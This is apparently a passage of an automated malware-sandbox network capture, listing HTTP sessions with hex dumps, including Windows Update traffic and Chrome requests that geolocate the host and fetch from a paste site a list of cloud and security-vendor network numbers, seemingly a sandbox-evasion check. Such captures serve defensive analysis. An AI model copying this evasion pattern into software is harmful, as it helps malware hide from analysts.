                                                                                                                                                                                      2024-05-10 19:31:21 UTC1369INData Raw: fe fe fe ff 4c 9a d7 73 b0 df 6a ab de 0d 75 c8 e5 f0 f9 f6 fa fd 62 a7 dc ba d8 ef 28 86 ce f1 f7 fc 4f 9d d7 da ea f7 b4 d5 ee 93 c2 e7 a6 cd eb cd e3 f4 5a a2 da 88 bc e4 8e c0 e6 5e a4 db 55 9e d8 67 a9 dd af d2 ed d0 e5 f5 79 b4 e0 18 7e cb 3e 92 d3 84 ba e3 2e 8a d0 ad d1 ec 03 6e c5 e8 f2 fa 94 c4 e7 e0 ee f8 c8 e0 f3 ab db b4 ca e2 f3 e9 f3 fa e9 f2 fa ab d0 ec c0 db f1 00 66 b4 a3 6a 8d ff 00 00 00 a1 74 52 4e 53 00 0b 09 03 14 ea e3 16 ec e9 f9 0d 02 fc 13 06 16 ee 28 1f c2 5b d0 19 af c6 f5 2a ab d8 1c 4d f7 68 b2 be df b6 d0 49 24 de 88 ee cc 51 22 f2 d3 fe 81 fc 46 7d 2c 43 30 9e 10 56 b9 71 40 3c 07 92 51 fa d9 44 6d 9e 3b e9 96 34 84 e3 76 68 32 cb 37 a1 a4 8b dc 7f f3 5e d5 f1 bb c6 62 a9 c2 37 e6 6d 88 f5 8e 48 40 7a a3 96 85 b1 ad 75 99
                                                                                                                                                                                      Data Ascii: Lsjub(OZ^Ugy~>.nfjtRNS([*MhI$Q"F},C0Vq@<QDm;4vh27^b7mH@zu
                                                                                                                                                                                      2024-05-10 19:31:21 UTC1369INData Raw: 68 a4 4c 16 9d de d8 5e 73 12 3e 00 98 e8 79 46 2c 0c c0 d0 72 91 39 fc c3 e7 74 16 03 63 8a 90 2d 7b 7e 80 0e a0 66 54 89 52 03 24 03 30 d5 ae 65 ce fd 9d 8d 0e d5 1f a3 8e 3a 75 f3 7b b8 00 20 91 71 09 fc 56 32 00 fa 08 f3 02 b8 d4 c8 79 9d 90 b5 a7 28 b8 00 cc 27 41 66 90 54 00 fa 1a c6 f8 0f 6c e7 19 27 65 c6 21 03 e4 33 12 c2 62 a9 00 74 db 18 00 5b 5c be d0 25 03 00 73 19 fb 65 cb d2 b4 da 29 8b 33 a2 06 07 89 3c 05 ae 33 00 6a 48 df 01 18 1c c2 d9 44 d0 63 5e be 98 00 ac 34 68 af 0f 01 80 18 be 46 8a 98 62 d1 00 0c d4 06 06 c0 1a 5f 02 18 c2 bf 87 be 2c 5a 22 80 0d 66 83 ef 00 74 eb c1 bf 75 96 9a 2e 56 1e c0 9c 02 bb 2b 69 df 01 00 79 ce 1a 29 8a 44 ba 09 5e 60 e6 01 1b 5a 28 9f 01 98 a6 72 ba 7f 9a 27 c5 63 90 20 6e e9 28 5f 79 0a 94 76 b1 83 fc
                                                                                                                                                                                      Data Ascii: hL^s>yF,r9tc-{~fTR$0e:u{ qV2y('AfTl'e!3bt[\%se)3<3jHDc^4hFb_,Z"ftu.V+iy)D^`Z(r'c n(_yv
                                                                                                                                                                                      2024-05-10 19:31:21 UTC616INData Raw: 00 ef fd 94 f3 38 3d ad dd 87 35 3e 74 d8 08 99 12 08 17 e0 be 84 d8 2f 4d 75 7b 97 ef 40 c5 90 bb 17 79 f7 14 c7 63 45 c3 81 97 00 c4 89 fb 00 25 3f 71 72 a4 e6 dc 8e 3f 73 61 5e 8e e3 59 9b 1e 1e ab ea 37 df 1c 4d 0b 2c 49 9e e4 2b 87 aa 4a 04 e0 fc 58 5d 2d d7 4b d2 b9 91 00 19 00 ce 13 d6 a3 01 d2 00 f1 85 00 69 80 59 a1 00 65 80 9c 0f 00 40 19 60 29 da 1f 58 d0 4c 14 eb 3b 2b fe 09 90 29 de 37 d7 fc f2 33 3b 83 90 fe cc 8e a6 00 e9 0f 2d 69 e2 45 fe e4 a2 9f 01 c4 a1 fe b1 b5 90 48 c4 01 dc 39 30 4f 5e 00 03 15 00 65 0a 20 0d 80 fc 37 47 4b 0b 11 07 88 05 88 03 7c 84 3a 40 3a e2 00 aa 00 c4 01 26 02 b4 01 e2 b2 11 07 98 05 d0 06 f0 e0 73 4a f2 00 c8 02 68 03 48 31 01 fc 09 20 26 48 f6 00 ce b7 c7 03 80 dc 01 ba 6e 90 90 39 00 08 e2 6f 91 59 00 00 02
                                                                                                                                                                                      Data Ascii: 8=5>t/Mu{@ycE%?qr?sa^Y7M,I+JX]-KiYe@`)XL;+)73;-iEH90O^e 7GK|:@:&sJhH1 &Hn9oY


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      5192.168.2.44974623.221.246.93443
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:25 UTC161OUTHEAD /fs/windows/config.json HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Accept-Encoding: identity
                                                                                                                                                                                      User-Agent: Microsoft BITS/7.8
                                                                                                                                                                                      Host: fs.microsoft.com
                                                                                                                                                                                      2024-05-10 19:31:25 UTC467INHTTP/1.1 200 OK
                                                                                                                                                                                      Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json
                                                                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                                                                      ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"
                                                                                                                                                                                      Last-Modified: Tue, 16 May 2017 22:58:00 GMT
                                                                                                                                                                                      Server: ECAcc (chd/079C)
                                                                                                                                                                                      X-CID: 11
                                                                                                                                                                                      X-Ms-ApiVersion: Distribute 1.2
                                                                                                                                                                                      X-Ms-Region: prod-eus-z1
                                                                                                                                                                                      Cache-Control: public, max-age=127943
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:25 GMT
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      X-CID: 2


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      6192.168.2.44974723.221.246.93443
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:25 UTC239OUTGET /fs/windows/config.json HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Accept-Encoding: identity
                                                                                                                                                                                      If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT
                                                                                                                                                                                      Range: bytes=0-2147483646
                                                                                                                                                                                      User-Agent: Microsoft BITS/7.8
                                                                                                                                                                                      Host: fs.microsoft.com
                                                                                                                                                                                      2024-05-10 19:31:26 UTC870INHTTP/1.1 206 Partial Content
                                                                                                                                                                                      Accept-Ranges: bytes
                                                                                                                                                                                      ApiVersion: Distribute 1.1
                                                                                                                                                                                      Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json
                                                                                                                                                                                      ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"
                                                                                                                                                                                      Last-Modified: Tue, 16 May 2017 22:58:00 GMT
                                                                                                                                                                                      Server: ECAcc (chd/0778)
                                                                                                                                                                                      X-CID: 11
                                                                                                                                                                                      X-CCC: US
                                                                                                                                                                                      X-Azure-Ref-OriginShield: Ref A: 52EA27DBDE0C4533B819423583F6692E Ref B: CH1AA2040902052 Ref C: 2023-07-09T23:10:08Z
                                                                                                                                                                                      X-MSEdge-Ref: Ref A: 528BB8D443C042AA9AEA4EC3F75C7762 Ref B: CHI30EDGE0111 Ref C: 2023-07-09T23:11:11Z
                                                                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                                                                      X-Azure-Ref: 01uvbYwAAAACkqWtaEMjWQL/4cpisZkorTUVNMzBFREdFMDgxMQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y=
                                                                                                                                                                                      Cache-Control: public, max-age=127926
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:26 GMT
                                                                                                                                                                                      Content-Range: bytes 0-54/55
                                                                                                                                                                                      Content-Length: 55
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      X-CID: 2
                                                                                                                                                                                      2024-05-10 19:31:26 UTC55INData Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d
                                                                                                                                                                                      Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      7192.168.2.44974820.12.23.50443
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:35 UTC306OUTGET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=b8bxb6t7sHH7Osr&MD=Nl6g3fCr HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
                                                                                                                                                                                      Host: slscr.update.microsoft.com
                                                                                                                                                                                      2024-05-10 19:31:36 UTC560INHTTP/1.1 200 OK
                                                                                                                                                                                      Cache-Control: no-cache
                                                                                                                                                                                      Pragma: no-cache
                                                                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                                                                      Expires: -1
                                                                                                                                                                                      Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
                                                                                                                                                                                      ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880"
                                                                                                                                                                                      MS-CorrelationId: 8338b285-4990-4822-a369-8013f5b782d0
                                                                                                                                                                                      MS-RequestId: fe657867-3c48-46d0-9deb-4117b7883a6e
                                                                                                                                                                                      MS-CV: LdQiXNhPzUKNptkY.0
                                                                                                                                                                                      X-Microsoft-SLSClientCache: 2880
                                                                                                                                                                                      Content-Disposition: attachment; filename=environment.cab
                                                                                                                                                                                      X-Content-Type-Options: nosniff
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:35 GMT
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Content-Length: 24490
                                                                                                                                                                                      2024-05-10 19:31:36 UTC15824INData Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58
                                                                                                                                                                                      Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
                                                                                                                                                                                      2024-05-10 19:31:36 UTC8666INData Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31
                                                                                                                                                                                      Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      8192.168.2.449757104.21.25.1484434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:42 UTC493OUTGET / HTTP/1.1
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                                      sec-ch-ua-mobile: ?0
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      sec-ch-ua-platform: "Windows"
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Origin: null
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:42 UTC801INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:42 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 10000
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zotC2OR43ueXIFKVkvdMhgR3Zlmo0eU9kxSdH9UiTnayugB%2BOXU5cEEUpVduknca62WJ2SIrWylE%2BgHwV%2FsESthpnljUt29S9T3HSxzT48rlt90QmXx8DNvCX3bgZIPHWWqDl8qb"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c59dfc89d89e7-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:42 UTC568INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:31:42 UTC228INData Raw: 61 6d 65 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: ame": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:31:42 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      9192.168.2.449759104.21.25.1484434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:43 UTC343OUTGET / HTTP/1.1
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Sec-Fetch-Site: none
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:43 UTC806INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:43 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 9999
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qDiok5exWUPyufOvcMZ7mA42uEn%2FdFpdAVofVuFAWGOVPdazFva9CrysgJhDlHLTx%2BIycsHY8th5LkusvMRMiAZN%2FzD%2B0sgnc%2F6mvlyluMvCIWyV%2BujaofSNMuGVPV39rtjuH2zQ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c59e51cbb86f6-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:43 UTC563INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:31:43 UTC233INData Raw: 6f 6e 65 5f 6e 61 6d 65 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: one_name": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:31:43 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      10192.168.2.449760172.67.162.1954434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:43 UTC493OUTGET /raw/rlcqft HTTP/1.1
                                                                                                                                                                                      Host: pastie.io
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                                      sec-ch-ua-mobile: ?0
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      sec-ch-ua-platform: "Windows"
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Origin: null
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:43 UTC693INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:43 GMT
                                                                                                                                                                                      Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                      X-Var-Cache-Status: MISS
                                                                                                                                                                                      X-Var-Cache-Date: Fri, 10 May 2024 19:31:43 GMT
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mpfcJDPOL0u3MggHYERyhPZYCQx8I7f5d5JubjnyU96hP7T0VdoASu2y8EGlx1XxeYZ8ONDwSZmgYhpL7DabAJL5As1jy3%2BVggi4I6UlH8XLKyrnlqY6oRBmAQ8%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c59e57baf873b-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:43 UTC177INData Raw: 61 62 0d 0a 5b 20 20 20 0a 20 20 20 20 22 41 53 38 30 37 35 22 2c 0a 20 20 20 20 22 41 53 33 39 35 39 35 34 22 2c 0a 20 20 20 20 22 41 53 32 34 39 36 31 22 2c 0a 20 20 20 20 22 41 53 39 30 30 39 22 2c 0a 20 20 20 20 22 41 53 37 32 30 33 22 2c 0a 20 20 20 20 22 41 53 32 30 34 37 33 22 2c 0a 20 20 20 20 22 41 53 33 30 36 33 33 22 2c 0a 20 20 20 20 22 41 53 31 36 35 30 39 22 2c 0a 20 20 20 20 22 41 53 33 39 36 33 36 32 22 2c 0a 20 20 20 20 22 41 53 31 34 36 31 38 22 2c 0a 20 20 20 20 22 41 53 32 30 32 34 30 31 22 0a 5d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: ab[ "AS8075", "AS395954", "AS24961", "AS9009", "AS7203", "AS20473", "AS30633", "AS16509", "AS396362", "AS14618", "AS202401"]
                                                                                                                                                                                      2024-05-10 19:31:43 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      11192.168.2.449762104.21.10.934434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:44 UTC343OUTGET /raw/rlcqft HTTP/1.1
                                                                                                                                                                                      Host: pastie.io
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Sec-Fetch-Site: none
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:44 UTC693INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:44 GMT
                                                                                                                                                                                      Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                      X-Var-Cache-Status: MISS
                                                                                                                                                                                      X-Var-Cache-Date: Fri, 10 May 2024 19:31:44 GMT
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1iQAs1%2FInxQA8tJvPODJPrVyogikzFrqAz9XVDnOe3x0giGMFXCkViqVXaMmzSkC37UPK1RRSrJKHZNkCPKLbnEWSjQOE8mAG8UBiNYUCCEN0zluG790iq018hs%3D"}],"group":"cf-nel","max_age":604800}
